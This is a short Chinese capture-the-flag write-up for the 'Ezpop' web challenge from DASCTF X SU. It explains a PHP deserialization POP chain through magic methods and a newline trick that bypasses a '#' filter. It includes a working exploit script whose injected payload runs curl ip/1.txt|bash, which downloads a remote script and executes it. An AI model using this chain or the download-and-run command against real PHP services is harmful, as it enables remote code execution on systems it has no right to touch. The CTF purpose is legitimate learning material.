DASCTF X SU三月赛

Ezpop

        emmmm,我记得我发了,刚刚一看没有,麻了,再发一次吧。因为疫情学校周末开始补课了,昨天就中午看了看题,做了一个web,挺简单的简单记录下。利用链很好找。说下坑点吧。当用hackerbar传入cmd参数时要使用raw,如下

然后导致我以为是需要原生类进行反序列化。

利用链

fin::__destruct()---->what::__toString()----->fin::run----->crow::__invoke()----->fin::world()----->fin::__call()----->mix::get_flag()

到达get_flag()后绕过#号过滤采用换行符。

exp 如下

<?php
class crow
{
    public $v1;
    public $v2;
}

class fin
{
    public $f1;

}

class what{
    public $a;
}
class mix{
    public $m1;
}
//
$a = new fin();
$e = new fin();
$f = new fin();
$b = new what();
$c = new mix();
$d = new crow();

$a->f1=$b;
$b->a=$e;
$e->f1=$d;
$d->v1=$f;
$f->f1=$c;
$c->m1="\nsystem('curl ip/1.txt|bash');";

echo urlencode(serialize($a));


 成功得到flag

另外两题没有看,有时间了再进行复现吧。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值